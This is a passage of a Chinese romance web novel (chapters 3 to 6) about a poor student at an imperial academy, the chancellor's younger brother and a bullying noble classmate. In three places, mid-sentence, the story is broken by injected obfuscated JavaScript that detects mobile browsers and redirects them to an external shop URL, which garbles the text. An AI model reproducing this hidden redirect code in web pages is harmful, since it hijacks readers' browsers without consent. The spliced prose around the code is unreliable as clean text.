《被清冷丞相宠爱的小可怜》 3. 第三章(重制版) 第二天依旧是天还没亮,谢云卿便起来了。 去书肆将文章和银钱寄出去后。 谢云卿又回到了寝舍,只是还没进门。 这个时辰,天已大亮,但谢云卿的几个舍友才刚刚醒来,正边收拾着,边有一搭没一搭地说着闲话。 “诶诶,你们昨天注意到谢云卿脸上那个表情没有,像是快哭了一样。”其中一人不知怎的,突然提起了谢云卿,“啧,我还是第一次见他这样呢。” 有人低声附和:“是啊是啊,真是稀奇啊。” 也有人嗤笑道:“在我们面前做那个样子又有什么用,在庾公子面前还不是装清高,不然庾公子也不会让人吩咐我给他个教训瞧瞧了。” “教训就只是泼盆水?”附和那人追问道。 “是啊,不过说来也确实奇怪,以庾公子的家世地位,既然看上了那谢云卿,肯定有的是法子能让那谢云卿从了他。可怎么这大半年都过去了,一点进展都没见着,难不成真是因为不敢违反太学里的规矩?”嗤笑那人疑惑道。 “嗐,这就是你有所不知了。”起初提到谢云卿那人回答道,“他们颍川庾氏肯定是不会将学规放在眼里的,但耐不住太学背后可是裴丞相啊,颍川庾氏再如何权势煊赫,也不敢直接与裴丞相作对吧。” 附和那人了然:“所以庾公子是因为忌惮裴丞相,不敢明着触犯学规,才没真的将那谢云卿怎么样了?” “差不多吧,不过我还知道另一个原因,就是庾公子他……” 话题戛然而止—— 是谢云卿推门进来了。 几人纷纷你看看我、我看看你,倒也不至于故意当着谢云卿的面说些什么,收拾好后,便接连离开了。 很快,寝舍之中只剩谢云卿一人。 也许是因为他的存在感太弱,谢云卿不是第一次听见别人在他背后议论他,也不是第一次听到别人感叹若不是裴丞相,庾琛一定会将他如何如何——谢云卿在心里早就对那位裴丞相充满了敬重与感激。 而且他还知道,若没有裴丞相,他也根本不可能在太学读书。 从前的太学,与其说是国家最高学府,不如说是京中门阀士族的私学,只有贵族世家子弟才有资格入学,像谢云卿这种寒门庶子,根本不会有进入太学的机会与门路。 一切的变化发生在裴丞相锐意改革之后。 太学不再只招收贵族世家子弟,而是直接广收天下学子。无论是什么家世,只要能通过太学的入学考试,就可以成为太学生,再通过太学内部的遴选考试,获得入朝为官的资格…… ……谢云卿突然绊了一跤,低头发现自己已经走到床榻边,与此同时,看到压在枕头下的那件月白色外袍,脑子又空白了一瞬。 等回过神来,那件月白色外袍已被他拿在手中。 触感极为柔软,像捧着一团云。 而上面精美的暗纹,在昨夜昏暗的灯火下,都能熠熠生辉。 即使他从未仔细看过同窗身上那些华美的衣袍,也知道,这件一定比他们的更要价值不菲。 谢云卿说不清心中究竟是何想法,只觉得手中的外袍突然变得有些烫手——这不是他应该触碰到的。 昨日,那位贵人允许他留下,便已经足够令谢云卿在感激之外,还感到深深的惶恐了。 以至于,在看到这件那位贵人好心遗留给他的外袍时,谢云卿只感到了慌乱与不安。 一定要还回去。 还要当面诚恳地感谢那位贵人的照顾。 如果那位贵人需要的话。 他也一定会尽自己所能报答这次的恩情。 谢云卿小心翼翼地将手中的外袍放入最干净的包裹中,再将包裹抱到怀里,转过头刚要出门,一抹刺眼的阳光直直射入眼中。 谢云卿站住了脚步——现在还太早了,这时候过去一定会打扰到那位贵人的。 再等等吧。 谢云卿轻轻地将包裹放回床榻上,又呆呆地愣了许久,根本不知道在等待的这段时间里,他该做些什么。 忽然,谢云卿想到了什么,蹲下身去,从床榻下的最深处拉出一个黑色的木箱子,打开,翻出放在最下面的一叠厚厚的纸张,而后走到了书案前。 纸张铺陈开来。 谢云卿看着上面画着的山水地形和标记的各种数据。 心中的惶恐、慌乱与不安瞬时少了很多。 随后拿出新的纸,提笔临摹。 这是他母亲亲手记录下的,用于兴建地方水利工程的图纸。 就他母亲在留给他的信中所说,他早逝的外祖父原本是地方负责兴建水利工程的小官,所以母亲自小,便跟随外祖父四处游历、勘探各种山水地形。 或许是因为耳濡目染,渐渐的,母亲也对这些山山水水感了兴趣。 并且在亲眼目睹一次由于水利工程还未建造完成,即将丰收的稻田在一夜之间被暴雨洪水淹没,导致那个村庄在那一年颗粒无收,许多百姓被迫或远走他乡或卖儿鬻女以求生路的悲惨景象后,立下了帮助外祖父勘探地形、兴修水利的志向。 只是,还不等母亲帮助外祖父兴修的第一个水利工程完工,外祖父就因病去世了。母亲便只能嫁给父亲,过上生儿育女、相夫教子的生活。 也许是那兴修水利的志向没能有个结果,在谢云卿才会握笔的时候,母亲便开始教他画一些简单的山水地形图,还带他去图纸上的山水实地辨认。 但遗憾总是如影随形。 在他即将五岁的时候,母亲意外染上重病,不久之后就离开了他。 只给他留下了一箱子的信件和图纸。 而这些信件和图纸,起初也并没有交给他。 还是他十二岁的时候,无意间从柴屋的最角落里翻出来的,所幸柴屋常年干燥,这些信件和图纸才能完好地保存到被他发现。 在看完母亲留给他的所有信件后,谢云卿也与母亲一样,立下了总有一天,能够主持水利兴建的志向——这也是他努力读书考入太学的原因。 在那之后,谢云卿每天在做杂活、带弟弟、读书学习之余,还会挤出时间描摹母亲留给他的山水地形图纸。 一直到十四岁的时候,被继母发现。 当时继母并没有说什么,只是冷冷地看了他一眼,然后告诉了父亲。 没过几天,父亲找他谈心,说他这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189547|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样会耽误干活与学习,而且还会让继母伤心,教他以后都不要再将母亲的东西拿出来了。 谢云卿不想让父亲难做,于是答应了。 只在继母要将母亲的东西都丢掉之前,偷偷地将这些信件和图纸藏了起来,后来跟随他一起来到太学。 在太学里,可能是因为心有余悸。 谢云卿仍不敢将这些图纸光明正大地拿出来,只会在无人的时候,悄悄地临摹整理。 不知不觉,午后的阳光斜探入窗,落在他临摹山水地形的纸上——应该可以去见那位贵人了。 谢云卿手中的笔一顿。 忽然又有些手足无措起来。 但因为怕耽误了时间,稍稍怔愣过后,谢云卿很快就收拾好了案上的图纸,放回床榻下的箱子里,然后仔细地净了手,小心地抱起包裹,一路小跑,往那座小院而去。 昨日去和回的时候,谢云卿都像是在梦游,以至于直到这次才发现,那座小院竟坐落于太学后山的山下,远离太学内的任何建筑。 若非昨日误打误撞,谢云卿根本发现不了那座小院。 有意多观察一下路上的环境,于是在小跑的时候,谢云卿还时不时左右望了几眼——突然,谢云卿看到了一个熟悉的背影。 是庾琛! 隔着一片不大不小的湖,对岸水榭中,站着庾琛和另一个看不清脸的男子。 谢云卿在认出庾琛的时候就想快点离开这个地方,但就在他即将转过眼时,那个站在庾琛身旁看不清脸的人,竟直直朝着庾琛跪了下去。 谢云卿站住了脚步,看到那个人似乎想要对着庾琛磕头,却被庾琛一把拉住了手臂,掐住了脖子。 也顾不上被庾琛发现自己偷窥的后果了,谢云卿立刻转变了方向,想要到湖对岸去——不能眼睁睁看着庾琛欺负别人。 急急跑了两步,谢云卿又突然停住了。 跪在地上的那人先是挣扎了几下,后像是听到了什么,妥协一般抬手握住了庾琛的手腕。庾琛便将那人从地上半抱了起来,抵在水榭的柱子上,低头亲了上去。 那人一开始没有什么反应,后来也抬起手臂,搂住了庾琛的脖子,像是在回应庾琛。 谢云卿有些茫然。 他不明白眼前的一幕,究竟算不算庾琛在欺负别人。 但也知道不该再靠近。 便立马低下了头,暂时忘却这一幕,继续往那座小院跑去。 再一次站在连廊尽头的厢房前。 谢云卿的心跳莫名越来越快,不知是因为紧张还是惶恐。 努力调整了一会儿,等气息平稳之后,谢云卿敲了敲门。 但过了许久,都没有听见回应。 以为是屏风后听不见敲门声,谢云卿微微躬身,对着里面恭敬道:“学生谢云卿,来还贵人的衣袍。” 还是没有回应。 难道那位贵人现在并不在这儿? 心底那股无措的慌乱又一次冒了上来。 随后像是不受控制一样,谢云卿看着自己抬起手,推开了门。 入眼依旧是那面白玉屏风。 只是。 那道身影不在了。 4. 第四章 太阳的光线在长廊外缓慢地游移着,将谢云卿的影子由北推向东、由短拉成长。 谢云卿低下头,发现自己的影子快要消散在越来越暗淡的夕光中。 才意识到。 他已经在这间厢房外站了半天了。 谢云卿往长廊外望去。 初春的傍晚,山间起了雾,潮水一般向山下氤来,也像一层白纱,即将笼住这座静谧的小院,将之与外界隔绝开来。 该走了。 那位贵人今日不会来了。 回去路上,应是由于天色越来越暗,谢云卿的眼前也越来越模糊。 以至于在某个拐弯处,没有注意到突然窜出来的一个人。 直直撞了上去。 “哎呦——”那个人很夸张地大叫了一声。 然后又赶紧扶稳谢云卿摇摇晃晃的身子,急切道:“没撞坏你吧?” 谢云卿左肩一疼,却下意识回答:“没事没事。” 那人在听到谢云卿的回答后,很明显地松了口气,收回手,抬脚就走。 不过才走了两步,又莫名折了回来。 还将手中提灯抬了起来,像是照了照谢云卿,也像是照了照他自己:“我是裴宣,要是之后有什么事,你可以找我,今天我还有事,就先走了。” 这次说完,就真是头也不回,一溜烟般急急忙忙地走了。 谢云卿在原地晕了好一会儿,才反应过来,刚刚和他撞上的人,竟是裴宣。 谢云卿又觉恍惚。 可能是因为,裴宣便是上午舍友口中,那位连颍川庾氏都不敢忤逆的裴丞相的亲弟弟。 乍然就这么遇到裴宣,实在令谢云卿生出了几分不真实感。 不过在今天之前,谢云卿也并非没有见过裴宣。 至少,在去年秋季入学的第一天,谢云卿就曾正面碰到过裴宣。 那个时候,谢云卿还不知道裴宣的身份。 他初来京城,站在太学古朴庄重的石门外,挤在熙熙攘攘的人群中,十分手足无措。 整个人便直直愣在了原地。 只剩一双眼睛在小心地观察四周。 因他几乎全程低着头,再加上太学外实在热闹,便没有人注意到他。 就在他将要因此安下心的时候,突然,浑身又紧绷了起来——只见一个面容英俊、身形高壮的锦衣学子,在阳光下,笑容满面地朝他这个方向走来。 谢云卿简直想要逃跑了。 但好在那个锦衣学子只是经过他身旁,而去和另一个瘦瘦高高的学子说话,说着说着又突然大笑起来,拉着那个学子一起跑进了内门。 谢云卿目送他们很久。 大概是因为常年躲在阴暗角落里的他,偶尔也会对裴宣这样,像是天生自带耀眼光芒的人,产生一种,有时候连自己都很难察觉到的——艳羡。 之后,因为他们同属一个学院,所以有时也会碰上。 无一例外,每次裴宣出现的时候,都是笑着的,就像是从未有过烦恼一样。 “从未有过烦恼”的裴宣现在很烦恼。 起因要从年前说起。 年前百官皆要朝见丞相,而太学的祝司业在见他哥时,除了述职以外,还顺带告了他的状。说他自入学后就没好好读过书,每天都在太学里混日子,诗赋、策论更是写得一塌糊涂,简直将“不学无术”这四个字贴在了脑门上。 而且那祝老头也没顾忌场合,据说是当着一干重臣的面,骂他骂得唾沫横飞。 裴宣收到这个消息后,简直像是在晴天里被一道雷给劈中了,还不等他哥回来,就连忙去小花园里掰了几根树枝,系在背上,找他哥“负荆请罪”去了。 他哥见到他之后,倒也没有什么特别的反应。 看起来还是跟往常一样,左看右看上看下看,都像一块冰,一块不会因为任何人、任何事而稍稍融化的冰。 但耐不住裴宣他自己心虚啊。 竟愣是从他哥万年不变的眼神里,看出了一丝对他的不满,于是赶紧上前,抱紧他哥的大腿,装着样子哭着喊着保证年后绝对会重新做人、好好读书。 等戏演完,他哥还是没什么反应。 不过裴宣自己心里已经舒坦了,觉得他哥这样一定是原谅他了,便开开心心地准备过年去了。 年后,他哥又去了吴郡。 这下裴宣更舒坦了,用崔稷那小子的话来说,就是“山中无老虎,猴子称大王”,整个京城再也没有人能够管束他了。 原先向他哥保证过的“重新做人、好好读书”,更是不知道被他丢到哪个山沟里去了。 不过年后一开始的时候,为了提防又有人向他哥告状,裴宣还知道做做样子。讲学准时去了,课业也自己做了,就连休沐日,也都安安分分地待在太学里装模做样地读书。 但没装多久,打探到他哥还要在吴郡待很长一段时间后,裴宣就完全松懈了,又恢复了老样子,在太学里混来混去,休沐日更是第一个跑出去又最后一个跑回来。 哎,这样快活的日子终究有个头。 也就是在今天,玩到意犹未尽地赶回太学后,裴宣差点直接跪了——他看到他哥的侍从笑眯眯地站在他寝舍的门口,对他说,老夫人想他了,请他现在就回家一趟。 裴宣试图再挣扎挣扎,于是小心翼翼地问,真的只是他祖母想他了吗? 那侍从没有回答是与不是,只是重复了一遍方才的话。 裴宣两眼一闭。 这一定是他哥回来了,并且要找他算账了。 怀揣着可能见不到明天的太阳的绝望,裴宣在那个侍从先行离开后,游魂一样往太学大门飘去。 途中,还撞到个单薄得像一片纸一样的玉人。 好在那玉人虽然看起来被他撞得很痛,但没有碎掉,还很温柔地告诉他,自己没事。 这让裴宣心里的负罪感轻了许多。 转念又开始思考该如何在他哥手底下“死”里逃生了。 乘车回到裴宅,裴宣鼓起勇气,主动问他哥的侍从,他哥现在在哪里——这如同一块在案板上的鱼肉,主动问马上要切他的刀在哪里。 裴宣没想到,他都这样英勇了,他哥的侍从竟都不肯给他个痛快,只让他先去见祖母再说。 没办法,他这块鱼肉就只能先去他祖母那里做做样子了。 一踏入他祖母的房间,一股熟悉的檀香便扑入裴宣的鼻尖。 裴宣忍不住打了个喷嚏。 即使他算是将这股檀香从小闻到大,也实在很难适应这样的浓度——毕竟他的祖母几乎是每一天,都从早到晚地在房中佛像前燃香祷告。 但他的祖母究竟是在为谁日夜不停地祷告,他其实并不清楚。 祖母也不愿与他多说。 站定之后,裴宣看到侍女们正在撤案上的碗碟,就知道祖母又要跟他说什么话题了——近几年来,除了燃香祷告之外,他祖母每天的日常还增添了,吃完晚膳后,随便逮个人就开始念叨他哥的终生大事。 这次当然也不例外。 虽然他祖母在看到他时,还是先敷衍地表现出了一丝惊喜。 但很快便步入正轨,拉着他的手,唉声叹气道:“你兄长什么都好,万事不需旁人操心,只唯一一点,性子实在太冷了,与别人根本说不上几句话,更是没见过他对谁稍稍上心的模样。眼见着将近而立之年了,身边都还没个知冷知热的贴心人,这该如何是好啊。” 裴宣本想也如往常一样,随便应和几声,将这老生常谈的话题应付过去。 但双唇才动,恰有侍女经过,眼前光线暗又明,裴宣晃了一下神。 再凝睛看向他祖母时,他祖母脸上,因紧蹙双眉而愈发明显的皱纹沟壑,便直接撞入他的眼中。 裴宣一下子哑了声。 眼珠微转,又看到了祖母鬓边,不知何时起,稀少到缀不起发饰的白发,又觉舌下泛出丝丝苦涩。 祖母今年已经六十多岁了。 在这古稀之年,却仍在为家中子孙操心。 裴宣难得认真思考起来,他哥的终生大事究竟该如何解决。 不过想了很久,裴宣都无法想象出。 究竟会是哪方的高人,融化得了他哥这块万年不化的坚冰。 难不成,是天上的真火转世? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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却也实在没那个胆子打扰,只磨磨蹭蹭地、一点一点地挪到了他哥身边,然后装作不经意地,偷偷瞄了一眼他哥手里的东西。 像是是一篇太学学子的策论。 具体内容并没有看清,只看清了最上面的姓名——谢云卿。 不知为何,裴宣竟第一时间觉得这个名字很熟悉。 并且是这两天有过联系的熟悉。 可他这两天一直在太学外面玩啊? 突然—— 裴宣想起来了。 这个谢云卿,好像就是今天他出太学的时候,撞到的那个长得像玉一样的人。 其实裴宣很早就听过谢云卿这个名字。 也听过一些人对谢云卿外貌、性格、家世、学习的议论。 只是他对太学里的一切都不怎么上心,经常是当耳旁风一样,左耳进右耳出,听过就忘了,甚至都不是很能将谢云卿的名字与样貌对上。 若不是今天刚好撞到了谢云卿。 恐怕就算将谢云卿的名字怼到他眼睛里,他都不一定能想起来谢云卿究竟是谁。 像是一通百通。 裴宣觉得他现在的脑子简直清晰得可怕。 能让他哥拿回来在书房里翻阅的策论,一定是太学里最好的策论。 那么可以推导,谢云卿本人,也一定得到了太学里那帮老夫子的认可。 还可以再进一步说,这个谢云卿将来大概率也会得到他哥的认可——毕竟他哥改革太学的初衷,就是选出这样家世普通但学习优异的学子。 裴宣又觉得他现在的脑子简直聪明得可怕。 如果他跟他哥说,他和这个谢云卿其实是朋友,那么他哥一定会认为,他有“近朱者赤”的潜力。 这样说不定,他哥就不会再跟他计较,这段时间里他“不学无术”的事情了。 于是乎,裴宣大起胆子,清了清嗓子。 先是装模做样地小小惊叹了一声:“啊兄长,你怎么在看云卿的文章啊。” 在如愿等到他哥将视线稍稍分给他之后,再故作疑惑不解:“兄长你难道不知道吗,云卿是我在太学里的朋友呀。” 以为他哥会像从前一样。 只要他稍稍给个凭借,他哥就会轻轻放过他——裴宣已经想好了待会儿夜宵要吃什么。 却没想到,这次,他哥竟没有听信他的一面之词。 而是冷着声。 问他:“是吗?” 5.第五章 其实他哥一直都这样,说话冷冰冰的,裴宣早就习惯了。 但这次。 好像有哪里不一样。 裴宣不能确定。 因为他对他哥的记忆,从来都是不连贯的。 从他有记忆开始,他哥就常不回家。 在他五岁、他哥十五岁那年,他哥就去往豫州入仕。 随后很长一段时间内,他哥一直辗转全国各地,只有年节回朝述职的时候,才会回家一趟,但往往也待不了几天,就又要去往地方。 后来在他八岁那年,他哥终于回到京城,却也终日于朝堂忙碌,勤朝参政、宵衣旰食。 当他十岁了,他哥成了丞相,便更是直接住在了丞相府,而难得回他们自己的裴宅。而且就算回,也常与祖母说不了几句话,就要因为各种各样的政务而匆匆离开。 直到近些年,因为祖母的身体愈发不好。 他哥为了照看、安抚祖母,才增加了回家的时间,却也更多时候在书房忙碌,而难与他和祖母亲近。 回想小时候每次见他哥,裴宣都会觉得有些陌生。 还有些不理解—— 不理解他哥为何要如此奔波忙碌。 到前些年,他十几岁的时候。 他才终于知道。 他哥奔波忙碌的原因,是父亲的战死与母亲的殉情。 但还是,有些意识不到。 当年,失去父亲与母亲,对于他们、对于河东裴氏、又对于整个魏室。 究竟意味着什么。 直到去年,在太学里,从祭酒、司业、和各位博士口中,听到种种关于他哥的事迹。 裴宣才开始逐渐明白。 当年,在一夕之间,落在他哥身上的责任究竟有多重。 主将陨落,豫州大乱; 裴氏衰颓,朝堂涌动; 北胡虎视,家国难安。 …… 可能换做任何其他人,都无法承担起来。 只有他哥。 只有裴延之。 做到了。 裴宣看着他哥。 明亮的烛火从侧后照来,在他哥的脸上落下了几道阴影,让他哥的五官显得更为深邃。眉骨分明未动,看上去却像是在蹙着,便生出一股不怒自威之感,令人不自觉心生敬畏。 再加上,他直觉感到,他哥这次的语气似乎有些不同。 裴宣心下顿时便有些慌乱。 但好在认错是他的强项,裴宣很快凝下神来,跪坐在他哥身旁,低下头,小声地说:“对不起,我不该撒谎。” 又稍稍抬眸,一边觑他哥的神色。 一边小心地替自己辩解道:“我是怕你会怪我……所以瞧见你在看谢云卿的策论,又想起在离开太学的时候,恰好撞到了他,对他很有印象,才说我和他是朋友。” 说完,裴宣看到。 他哥的眉头当真蹙了蹙。 书房内,便立即冷了几度。 裴宣一激灵,立刻讲得更仔细了些: “我知道你一定很欣赏像谢云卿这样的学子……” 但才说个开头,裴宣便看到他哥的眉头蹙得更紧了。 他立马意识到这不是他哥想听的,可脑子又实在转不过来到底该说些什么,就干脆将撞到谢云卿的经过一五一十地说了出来。 原本是破罐子破摔的胡言乱语。 可没想到,这下子,他哥的眉头竟然真的慢慢舒展了下来。 只是书房内,那股莫名的冷意仍未散去。 于是裴宣再接再厉:“我看他抱着一个包裹,有些失魂落魄的样子,不知道是不是遇到了什么事,而且好像是被撞疼了,却也忍着,也不知道究竟严不严重……” 他哥坐着也比他高些。 微微垂首看着他,一双深黑的眼眸中,带着些许冷意。 这简直快要把裴宣吓死了。 过了好一会儿,才试探着重新开了口:“我明天就带他去看大夫……” 他哥不置可否。 但裴宣好像就此悟到了方向。 眯着眼看着他哥,小心翼翼道:“还关心他身上究竟发生了什么事……” 他哥慢慢收回了眼。 裴宣心下一喜,立刻顺竿子往上爬:“再问问他愿不愿意和我做朋友!” 他哥已经完全不再看他。 重新看回了那份策论。 一副不会再理会他的样子。 但这次,裴宣却如蒙大赦—— 他知道这是他哥不会再追究的意思。 裴宣立刻爬了起来。 忙不迭对着他哥拜了拜之后,就又是一溜烟地跑了。 第二日,是太学里的骑射课。 对于绝大多数学子来说,骑射课是仅次于休沐的好日子。 因为不会被拘在讲堂、书阁内,而是可以在校场里自由地练习御马与射箭。 但对于谢云卿而言。 骑射课并不自由,还很难熬——因为庾琛经常会在这个时候找他的麻烦。 而且他根本避不开—— 太学里一共有四个学院,分别是崇志、论学、博文和待制。 新入学的学子都在崇志院; 而后参加一年一度的学考,成绩上者进入博文院,中者进入论学院,下者则继续留在崇志院,后两者皆需要继续参加学考,直至考入博文院;而三次学考后,都未晋院者,则会被退学。 进入博文院后,平常课上的诗赋、策论等文章,与日常生活中的行为、表现等品行,都会被纳入最后的考核,通过考核者则可进入待制院,拥有参加官府遴选考试的资格。 学考还未到来,谢云卿与庾琛自然都在崇志院。 而这骑射课又不同于其他课程。 并不分舍进行,而是一整个学院一同练习。 ——所以每次骑射课,谢云卿都一定会碰到庾琛。 除非庾琛不来。 谢云卿一面战战兢兢往校场角落里躲。 一面祈祷庾琛今日不来,或是没有兴致找他。 大约过了一刻时,都没有发现庾琛的身影、听见庾琛的声音。 谢云卿渐渐放松了警惕。 他从角落里冒出头,小心地环视四周。 确认安全之后,悄悄走到靶场最边缘的地方,飞快捡起竹筐里的弓与箭,拿在手上,回忆书上射箭的要领,努力尝试射中靶心,或者只是——将箭射出去。 骑射是谢云卿最不擅长的课程。 因为太学里并没有专职教授骑射的博士,而且他自己也不像其他学子那样,要么对此毫无兴趣,便无所谓骑射,要么家中就有教授骑射的师长,便也不需要在太学里重新学习。 谢云卿不想放弃骑射,却也没有人教他。 只能通过书本自行学习。 但骑射确实与做文章不同。 无论谢云卿如何练习,都不见长进。 谢云卿举着弓,尝试了很多次。 那些箭要么刚射出几步就掉在地上,要么弹了几下后就直接挂在了弓弦上。 最后一次,似乎是用力过猛。 谢云卿的左肩陡然剧烈地疼了起来——是昨日被裴宣撞到的地方。 昨夜回到寝舍后。 因为心里一直在想那位贵人的事,再加上左肩也没疼得那么厉害了,属于可以忍耐的范围。 所以谢云卿就忘了要查看伤势究竟如何,更别说会记得给左肩上一些药。 “别丧气。” “只是你的手搭错了地方而已。” 就在谢云卿被疼得忍不住放下手、低下头,咬住下唇努力忍耐的时候。 一道听起来有些熟悉的声音,从侧前方响起。 谢云卿立刻抬起头,一怔。 站在他面前的。 竟是裴宣。 在知道今天刚好是骑射课之后,裴宣一早就来到了校场,寻找谢云卿的踪迹。 按理来说,以谢云卿的样貌,就算混在人群之中,也应该很显眼才是。 但偏偏很奇怪。 他在校场里转悠了很久,都没发现谢云卿。 难道—— 谢云卿今天没来校场? 就在裴宣准备放弃的时候。 突然,他的余光瞄到了一个从很偏僻的角落里、钻出来的小小的身影。 虽隔着大概有三分之一个校场的距离。 裴宣还是能一眼确定,那个人就是谢云卿——整个太学或是说京城中,根本没有长得像谢云卿那样,漂亮到只要站在那里,就像是在你眼前发光的人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214034|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴宣忽地想起来,他曾听过有人对此评价道。 若不是谢云卿平日里总是躲来躲去,性子又清冷极了,轻易不与人说话,只专心学习,再加上还有严格的学规限制,恐怕围在谢云卿身边的人,能从太学排到京城外去。 这话多少带点轻佻的意味。 而裴宣自己,也从来对风靡权贵圈子里的男男相好之事不感兴趣。 所以并不会因为这些话,而对谢云卿产生什么特殊印象。 甚至是直到今日,才恍然。 谢云卿这样,貌似跟他哥挺像的——一样的外表出众、气质出尘,也一样的冷若冰山、看上去不近人情。 想到他哥,裴宣忍不住打了个冷颤。 但还是希望,谢云卿不要像他哥那样难相处吧。 毕竟他已经向他哥许诺,要和谢云卿做朋友的。 怀揣着不知从何而来的忐忑,裴宣默默地往谢云卿那边走去。 在目睹谢云卿射箭屡试屡败又屡败屡试之后。 裴宣终于找到借口靠近谢云卿。 别的不说,射箭他还是很擅长的—— 这可是他哥亲手教他的。 还不等谢云卿有何反应。 裴宣便很自来熟地,接过了谢云卿手中的弓与箭。 转过身,拉开弓箭。 嗖的一声——羽箭正中靶心。 “看到我的手刚才放在哪里了吗?”裴宣转过头,面露一丝藏不住的得意,但在看清谢云卿脸色的一瞬间,便转为惊恐,“怎么了怎么了,是哪里痛吗?” 裴宣丢下弓箭凑了过去,发现谢云卿的左肩在微微颤抖。 像是突然想起了什么,语气低了下来:“是被我撞到的地方在疼,对吗?” 说完,也不等谢云卿回答。 就拉住谢云卿的手腕,大步往校场外走:“都怪我忘了,应该先带你去看大夫的。” 谢云卿还在忍痛中,反应实在有些迟钝。 等回过神,已被裴宣拉着走了很远,再差几步就要离开校场了。 然而,就在这时。 庾琛竟从校场外走了进来。 在看到谢云卿和裴宣两人之后。 庾琛很明显地怔住了,像是眼前的一幕对他的认知产生了一定的冲击。 但很快,庾琛就恢复成平时居高临下、盛气凌人的模样。 “我当是什么原因,让你明明听到了我的声音,还敢继续跑。”庾琛垂下眼,看着裴宣拉着谢云卿的手腕,很不屑地冷笑了一声,“原是攀上裴宣了啊。” 裴宣皱了皱眉:“庾琛,你在说什么鬼话!” 庾琛没有理会裴宣,而是慢慢踱到谢云卿面前。 低着头,故意对着谢云卿的耳朵说:“选他,还不如选我,毕竟……” “我可不是废物。” 裴宣猛地推了庾琛一把:“你说谁是废物呢!” 庾琛被推得退后两步。 狭长的眼眸中闪过几点寒意。 理过衣襟后,便直接对着裴宣,嘲讽道:“你这次不是听出来了吗。” “我说你,裴宣。” “是你们河东裴氏的废物。” 裴宣明显胸膛剧烈地起伏了几下。 随后,猛地松开了拉着谢云卿的手,朝着庾琛走了一步。 “怎么,你还想打我?” 庾琛像还嫌不够一样,继续嘲讽裴宣。 闻言,裴宣站住了脚步,咬牙切齿道:“你以为我不敢吗?” 可不等庾琛回答,裴宣竟自顾自平复了下来。 他微微侧身,不再与庾琛对视,大叹了一口气:“算了,我才不跟你计较。” “崔稷说了,你也是个可怜人。” 方才的针锋相对,根本没有让庾琛的神情有多少变化。 反而是裴宣的让步。 竟令庾琛的脸色在转瞬之间,便难看了下来。 甚至裴宣的话音还没落地。 庾琛便跨一步上前,挥起拳,就要往裴宣身上打去。 “嘶——” 吃痛声在破风声后响起。 却不是裴宣。 ——是谢云卿竟挡在了裴宣身前。 用左肩。 硬生生地接下了庾琛这一拳。 6.第六章 一阵轻微的嘈杂声入耳。 谢云卿眼皮动了动。 那阵嘈杂声顿时大了起来,断断续续的,好像有人在喊他的名字。 随着那喊声,谢云卿的意识逐渐回笼。 但与之相伴的,左肩处,那种难以忽略的疼痛,也紧接而来。 谢云卿不由自主地挣扎了几下。 随后,慢慢睁开了眼。 一道朦胧的白光散去后,对上了裴宣的那张脸。 裴宣看起来很激动:“太好了!云卿你终于醒了!我……” “你声音能不能小点,他才刚醒。” 一个长得瘦瘦高高的少年从裴宣身后走出来,皱着眉,将裴宣拉远了一点。 “我是崔稷,是裴宣的好友。”那少年微微俯身,对着躺在床榻上的谢云卿,说了一句简单的自我介绍,而后,就开始为谢云卿解释眼前的状况,“你现在在裴宅,是因为昨天,你替裴宣挡下那一拳后,就直接晕了过去……” “是的是的!”裴宣忍不住又凑了过来,在谢云卿眼前比划道,“你都不知道,我当时都快被吓死了!还以为庾琛那一拳将你怎么样了,赶紧带你回来找家里的大夫……” “因为裴宅里的大夫医术比较稳妥。”崔稷冷不丁又插了话。 “你干嘛总是抢我的话!”裴宣瞪了崔稷一眼,“今天第几次了!” “才第二次。”崔稷还了个白眼,再继续对谢云卿说道,“他这人说话就是这样,说半天都说不到重点,还是让我来说吧。” “大夫说,你身上除了左肩的伤,都并无大碍,便断定你是因为剧痛导致的气血逆乱而昏厥。于是先只给你敷了些止疼的药,说等你醒来服用汤药稳固了气血之后,再过来观察你左肩的伤势,以便对症下药。” “对对对!”这回,裴宣倒是憋着等崔稷的一通话说完了,才继续鬼哭狼嚎,“还有还有,当时大夫还说,不能让你久睡,一定要在今日的这个时辰将你喊起来。我就问他,是不是怕不喊你,你就醒不过来了,结果结果……” 裴宣好像是有些忿忿不平,磕绊了好一会儿,才将话说完:“他说,只是怕你睡久了,日后作息就紊乱了!” “这分明是在故意吓我!!”裴宣大声控诉。 “谁教你当时一直追着他问,谢云卿到底能不能醒过来。”崔稷又朝裴宣翻了个白眼,还肘了裴宣一下,“小声点小声点!我都要快被你吵晕了。” 几个深呼吸后,崔稷对谢云卿道:“你别听大夫逗裴宣的话,其实不让你久睡是因为,睡得太久反而不利于气血恢复。” “汤药等会儿就来。”他顿了下,再问谢云卿,“你现在感觉怎么样?” 或许是因为刚醒。 也或许是因为方才裴宣确实有些吵闹。 谢云卿迷迷糊糊了好一会儿,才将崔稷说的话听进脑子里。 几乎是一瞬间,本能的反应让他想立刻坐起来,却又因为左肩疼痛与浑身无力,而只微微地颤抖了两下。 